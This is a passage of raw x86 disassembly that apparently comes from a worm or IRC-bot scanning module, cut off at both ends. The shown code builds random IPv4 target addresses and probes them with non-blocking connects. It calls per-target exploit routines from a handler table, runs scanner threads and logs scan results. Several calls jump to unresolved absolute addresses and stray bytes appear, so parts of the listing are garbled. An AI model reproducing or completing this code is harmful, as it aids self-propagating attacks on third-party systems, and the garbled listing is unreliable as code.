		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		nop
		call	near ptr 2680000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		nop
		call	near ptr 2680000h
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	near ptr 2690DCCh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 26903FCh
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26F0760h
		push	80000400h
		push	esi
		call	near ptr 26F0630h
		nop
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
